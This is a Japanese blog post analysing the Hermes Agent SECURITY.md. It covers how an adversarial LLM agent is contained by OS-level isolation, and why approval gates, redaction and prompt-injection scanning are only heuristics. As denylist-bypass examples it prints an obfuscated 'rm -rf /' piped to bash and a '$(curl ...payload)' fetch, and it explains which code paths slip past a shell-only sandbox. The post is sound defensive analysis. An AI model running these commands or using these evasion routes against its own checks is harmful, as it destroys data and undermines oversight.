本記事は個人環境での検証と、公開されているドキュメントの読解に基づく個人的な整理です。引用元は MIT License で公開されている SECURITY.md であり、筆者が確認したバージョンを明記しています。SECURITY.mdを読むにあたってはGemini ProとOpus 5と沸き起こる疑問を対話しながら、本記事はOpus 5と共に作成しています。
1. はじめに
OpenAIとAntholopicが稼働環境から外部に抜け出すということがニュースになる最中に、Hermes Agentの SECURITY.md を嗜んでおりました。
自分たちの防御機構のうち、どれが本物の境界で、どれがそうでないかが書かれている一作で、Agentic AI をどう運用設計するかを考える材料として役立つかなと思い読解メモを残したものです。
参照した文書
-
SECURITY.md(Hermes Agent v0.19.0 / commit1aed1f7b時点、332 行) - ライセンス: MIT License / Copyright (c) 2025 Nous Research
- 最新版: NousResearch/hermes-agent の SECURITY.md
以降、§2.2 のような表記は同文書のセクション番号を指します。引用の日本語訳はツールを使っていますが筆者がよさそうと思った(妥協した)ものです。
2. 読むにあたって重要と思われる言葉
理解にあたって重要と思われる単語と訳、意味を下記に示します。
| 原語 | 訳 | 意味 |
|---|---|---|
| boundary / containment | 境界 / 封じ込め | 実際に封じ込めるもの。破られたら脆弱性 |
| heuristic | ヒューリスティック | 攻撃者に影響された文字列の上で動く推測ロジック。破られても脆弱性ではない |
| load-bearing | 荷重を担う | 建築の「耐力壁」の比喩。防御の層は等しく効いているわけではない |
| posture | 姿勢 | 運用者が選ぶ隔離構成 |
| stance | 宣言 | 開発側がする約束(例: ダッシュボードは出力を不活性な HTML として描画する)。違反はバグ |
| trust envelope | 信頼範囲 | エージェントを実行した時点で暗黙に許可済みとなる資源の集合 |
| input surface | 入力サーフェス | コンテキストにコンテンツが入る全経路(web、メール、ファイル、ツール結果、MCP 応答を含む) |
| external surface | 外部サーフェス | 作業の投入・承認の解決・出力の受信ができる、プロセス外の経路 |
| break-glass | 緊急脱出 | 文書化された上で保護を外す運用者の判断(--insecure 等) |
posture と stance はどちらも「姿勢」と訳せますが、前者は運用者が選ぶもの、後者は開発側が約束するもので、責任の所在が正反対と色分けています。本記事では「姿勢」「宣言」と訳し分けています。
この文書を読むときの問いは、常に次の 2 つです。
- これは 境界 か、ヒューリスティック か
- これは 姿勢 の帰結(運用者の責任)か、宣言 への違反(開発側の責任)か
3. 唯一の防御境界
3.1 主張そのもの
§2.2 の冒頭が、この文書全体の主張です。
The only security boundary against an adversarial LLM is the operating system.
(敵対的な LLM に対する唯一のセキュリティ境界はオペレーティングシステムである)
続けて、承認ゲートも、出力リダクションも、パターンスキャナも、ツール allowlist も、エージェントプロセスの内部にあるものは何ひとつ封じ込めを構成しないと明言します。理由の定式化がきれいで、LLM の出力を選別するプロセス内コンポーネントは、いずれも「攻撃者に影響された文字列の上で動作するヒューリスティック(a heuristic operating on an attacker-influenced string)」だから、としています。
ここで言う「エージェントプロセス」は、§2.1 で Python インタプリタと、それがロードしたモジュール(スキル、プラグイン、フックハンドラ) と定義されています。
3.2 2 つの隔離姿勢
Hermes は OS レベルの隔離姿勢を 2 つ提示し、「意図をもって選べ」と要求します。
姿勢 A(ターミナルバックエンド隔離) は、terminal() ツールの実行先をコンテナやリモートホストに差し替えるものです。ファイルツール(read_file / write_file / patch)もシェル契約の上に実装されているので、同じ経路を通ります。
ここで文書は、封じ込めないものを列挙しています。
-
execute_codeツール(ホストのサブプロセスとして起動される) - MCP サブプロセス(エージェントの環境から起動される)
- プラグインのロード
- フックのディスパッチ
- スキルのロード
いずれも「エージェントのインタプリタに import される」か「ホスト上で直接起動される」ため、シェルを通りません。「Docker バックエンドにしたから安全」と考えていると、この 5 つが素通しになります。
姿勢 B(プロセス全体のラッピング) は、エージェントのプロセスツリー全体をサンドボックスに入れます。実装としては公式 Docker イメージ / Compose、または NVIDIA OpenShell が挙げられています。こちらは上の 5 つも同じポリシー下に入ります。
3.3 線引きの仕方が明確
§2.2 は次の一文で締められます。
Operators running the default local backend with untrusted input surfaces, or running a terminal-backend sandbox and expecting it to contain code paths that don't go through the shell, are operating outside the supported security posture.
(信頼できない入力サーフェスを抱えたまま既定の local バックエンドで動かしている運用者、あるいはターミナルバックエンドのサンドボックスがシェルを経由しないコードパスまで封じ込めると期待している運用者は、サポートされたセキュリティ姿勢の外で運用している)
運用設計への示唆
「サンドボックスに入れています」という説明を聞いたとき、次を確認する価値があります。
- サンドボックスに入っているのは シェルだけ か、プロセスツリー全体 か
- コード実行ツール、MCP サーバー、プラグインは、その内側か外側か
4. 事故防止のためのヒューリスティックな階層
4.1 「有用である。境界ではない」
§2.4 は、自分たちの防御機構を 3 つ評価しています。書き出しが They are useful. They are not boundaries.(有用である。境界ではない)です。
| 機構 | 文書による評価 |
|---|---|
| 承認ゲート | 一般的な破壊的シェルパターンを検出し、実行前に確認を求める。ただしシェルはチューリング完全であり、シェル文字列に対する denylist は構造的に不完全。捕らえるのは協調モード(cooperative-mode)のミスであって、敵対的な出力ではない |
| 出力リダクション | 秘密らしきパターンを表示から除去する。動機のある出力生成者はこれを突破する |
| Skills Guard | スキル内容をインジェクションパターンでスキャンする。レビューの補助であり、境界は導入前の運用者によるレビュー |
Skills Guard の項には、実務的に重要な注記が付いています。スキルをレビューするとは SKILL.md の説明だけでなく Python コードとスクリプトを読むことであり、理由は スキルが import 時に任意の Python を実行するからだ、と。
4.2 「構造的に不完全」の意味
承認ゲートの評価にある structurally incomplete は、 方式そのものが原理的に完成し得ないという意味です。根拠が 1 行で書かれています。
Shell is Turing-complete; a denylist over shell strings is structurally incomplete.
セミコロンで繋がれていますが、前半が後半の証明になっています。展開すると次の 3 段です。
(a) 同じ効果を表す書き方が無限にある
bash は変数・分岐・ループ・関数を持つ本物のプログラミング言語です。チューリング完全な言語では、ある動作を実現する書き方は無限に存在します。実際、Hermes のソースには次のような例が「検知できるパターン」としてコメントされています。
echo 'eq -pe v/' | tr 'eqv' 'rmf' | bash
tr が文字を置換した結果 rm -rf / になりますが、元の文字列のどこにも rm という 2 文字は現れません。base64、xxd、openssl、変数の間接参照、文字列連結 —— 変換の手段自体が無数にあるため、パターンを 1 つ足すたびに、まだ足していない変換が残ります。
(b) 検査した文字列と、実際に走る文字列が違う
シェルは実行時に文字列を組み立ててコマンドとして実行できます。
$(curl -s http://example.com/payload)
承認ゲートが見られるのはこの短い文字列だけで、curl が何を返すかは実行するまで分かりません。変数展開、コマンド置換、eval、ヒアドキュメント —— 「後から中身が決まる」経路がいくつもあります。
(c) そもそも判定できない
(a)(b) を突き詰めると計算理論のライスの定理に行き着きます。大雑把に言えば「チューリング完全な言語で書かれた任意のプログラムについて、それが特定の振る舞いをするかを常に正しく判定するアルゴリズムは存在しない」。「このスクリプトはファイルを削除するか?」はまさにこの形の問いなので、一般には決定不能です。
つまり、もっと賢い解析器を書けば完成するという話ではありません。どれだけ賢くしても完成しないことが分かっている。だから境界を名乗らない、という論法です。
4.3 コードに残った限界の痕跡
抽象論に留まらず、実装にもこの限界がはっきり残っています。tools/approval.py の難読化解除ロジックは、関数名が正直です。
コマンド置換を解決する関数(抜粋)
def _literal_command_substitution_output(script: str) -> str | None:
"""Resolve tiny literal command substitutions without executing a shell."""
tokens = shlex.split(script, posix=True)
command = tokens[0].lower()
args = tokens[1:]
if command == "echo":
...
if len(args) == 1 and _is_simple_shell_literal(args[0]):
return args[0]
return None
if command == "printf":
...
return None
コマンド置換のうち解決できるのは、echo と printf に単純なリテラル引数が 1 つだけ付いている場合のみで、それ以外は None を返して諦めます。$(cat /tmp/x) も $(curl ...) も、$(echo a; echo b) すら解決できません。
シェルを実行せずに解けるのはここまでという線を引いて、その先には踏み込まない。理論的な限界を、実装がそのまま反映しています。
4.4 認証情報のスコープ制限も「封じ込めではない」
§2.3 では環境変数のフィルタリングを説明した直後に、こう書かれています。
This reduces casual exfiltration. It is not containment.
(これは気軽な流出を減らす。封じ込めではない)
理由は §2.1 の定義通りで、エージェントプロセス内で動くもの(スキル、プラグイン、フックハンドラ)は、エージェント自身が読めるものすべて —— メモリ上の認証情報を含めて —— 読める。したがって緩和策は環境変数の掃除ではなく「導入前のレビュー」整理します。
§2.5 のプラグインの扱いも同じ論理で、プラグインはエージェントの完全な権限で動作するため、境界は導入前レビュー。ただし「運用者が何をインストールしようとしているのかを見られなくするバグ」は、開発側の責任として脆弱性スコープ内、と線を引いています。
4.5 同じ機構が、境界の有無で意味を変える
Under a whole-process wrapper, Hermes Agent's in-process heuristics (§2.4) function as accident-prevention layered on top of a real boundary.
(プロセス全体のラッパーの下では、プロセス内ヒューリスティックは、本物の境界の上に重ねられた事故防止層として機能する)
承認ゲートも Skills Guard も、実装は何も変わりません。変わるのは その下に境界があるかどうかだけです。
- 境界がある → ヒューリスティックは「事故防止層」として妥当に機能する
- 境界がない → ヒューリスティックが最後の砦になってしまい、それは原理的に破れる
運用設計への示唆
多層防御を評価するとき、層の数ではなく、最下層に境界があるかを先に見る。境界のない多層は、層をいくら積んでも上限が変わりません。
逆に言うと、境界さえ用意すれば、上に積んだヒューリスティックは「無意味」ではなく「事故防止として有効」に格上げされます。同じ機構への評価が、構成次第で反転する点が重要です。
5. プロンプトインジェクションの扱い
5.1 「脆弱性ではない」という宣言
§3.2(スコープ外)の 2 番目の項目は刺激的な箇所です。
Prompt injection per se. Getting the LLM to emit unusual output — via injected content, hallucination, training artifacts, or any other cause — is not itself a vulnerability.
(プロンプトインジェクションそのもの。 LLM に異常な出力をさせること —— 注入されたコンテンツによるものであれ、ハルシネーションであれ、他のいかなる原因であれ —— は、それ自体では脆弱性ではない)
続けて、「§3.1 の帰結に連鎖していない『プロンプトインジェクションに成功した』は、本ポリシーの下では対処可能な報告ではない」と書かれています。
5.2 なぜその結論になるのか
第一に、入力サーフェスの定義が広い。 §2.1 は、コンテキストにコンテンツが入る経路として、運用者の入力・web フェッチ・メール・ゲートウェイのメッセージ・ファイル読み込みに加えて、MCP サーバーの応答とツール結果を明示的に含めています。
つまり、エージェントが何かを調べるたび、何かを読むたびに、攻撃者が制御しうる文字列がコンテキストに入ってきます。この面すべてで「命令」と「データ」を確実に見分けることは、現在の LLM の仕組み上できません。
第二に、それを検知する機構は §2.4 の分類に落ちる。 実際 Hermes はコンテキストファイル(AGENTS.md 等)のインジェクション検査を実装していますし、ソースを読むと、web / browser / MCP のツール結果を 未信頼データとして専用の区切りで包む処理も入っています1。しかし、これらはすべて「攻撃者に影響された文字列の上で動くヒューリスティック」という定義に当てはまります。
第三に、だから答えは検知ではなく隔離になる。
入力サーフェスに攻撃者制御の文字列が入るのは前提
→ 命令とデータを確実に分離することはできない
→ 検知は原理的に完成しない
→ LLM に異常な出力をさせること自体は防げない
→ 防ぐべきは「その出力が何をできてしまうか」
→ 境界は OS に置く(§2.2)
「プロンプトインジェクションは脆弱性ではない」は、対策していないという意味ではなく、そこを防御の主戦場に置いていないという設計判断の表明です。主戦場は §3.1 の 4 項目、すなわち隔離姿勢からの脱出・認可外アクセス・認証情報の流出・宣言違反に置かれています。
5.3 ただし「報告不要」ではない
誤読しやすいので補足すると、§3.2 は冒頭で次のように断っています。
"Out of scope" here means "not a security vulnerability under this policy." It does not mean "not worth reporting."
(ここでの「スコープ外」は「本ポリシーの下ではセキュリティ脆弱性ではない」という意味であり、「報告する価値がない」という意味ではない)
ヒューリスティックの改善、ハードニングのアイデア、UX の修正は通常の issue / PR として歓迎され、非公開の脆弱性報告チャネルとアドバイザリの対象外になるだけ、と明記されています。
「承認ゲートは常により多くのパターンを捕らえられるし、リダクションは常により賢くなれる」という一文が添えられていて、限界を認めることと改善を諦めることを分けている点は、読んでいて気持ちのいい部分でした。
運用設計への示唆
「プロンプトインジェクション対策をしています」という説明を聞いたとき、確認したいのは検知率ではなく次の 2 点です。
- 入力サーフェスをどこまで数えているか —— ユーザー入力だけか、ツール結果と MCP 応答も含むか
- 検知をすり抜けた場合に、何が起きうるか —— つまり境界がどこにあるか
検知の話しか出てこない場合、それは「破れない前提の最後の砦」を作ってしまっている可能性があります。
6. まとめ
SECURITY.md は 332 行の短い文書ですが、興味深い観点が 4 つありました。
1. 防御機構を「境界」と「ヒューリスティック」に分類する
自分たちの多層防御について、層ごとにどちらかを言えるか。言えないなら、それは多層防御ではなく多層の気休めかもしれません。Hermes は自分の防御の大半を後者に分類しています。
2. 層の数ではなく、最下層に境界があるかを見る
同じ承認ゲートでも、下に境界があれば「事故防止層」として妥当に機能し、なければ「原理的に破れる最後の砦」になります。評価が構成次第で反転するという視点は、他の基盤を見るときにも使えます。
3. 隔離の粒度を具体的に問う
「シェルだけ」か「プロセスツリー全体」か。コード実行ツール、MCP、プラグインが内か外か。Hermes が姿勢 A の非カバー範囲を名指しで列挙しているのは、この問いを運用者に強制するためです。
4. 責任分界を、姿勢(運用者)と宣言(開発側)で分ける
隔離構成の選択は運用者の責任、文書化した挙動を守るのは開発側の責任。この 2 つを混ぜないことで、「何は自分で決めなければならないか」が明確です。
Agentのセキュリティを考えるときに、それは境界なりえてりるのか、ヒューリスティックなのか自らの「境界」を再認識する SECURITY.md でした。一方で境界すら境界たり得るのかとも。
参考リンク
- SECURITY.md — NousResearch/hermes-agent(MIT License / Copyright (c) 2025 Nous Research)
- Security — Hermes Agent Docs(設定項目と既定値の一次情報)
- Hermes Agent 公式サイト
- NVIDIA OpenShell(§2.2 で挙げられているプロセス全体ラッピングの実装)
- OWASP Top 10 for Agentic Applications for 2026
-
未信頼ツール結果を区切りで包む処理は、公開ドキュメントには記載がなく、
agent/tool_dispatch_helpers.py(commit1aed1f7b)の実装を読んで確認したものです。 ↩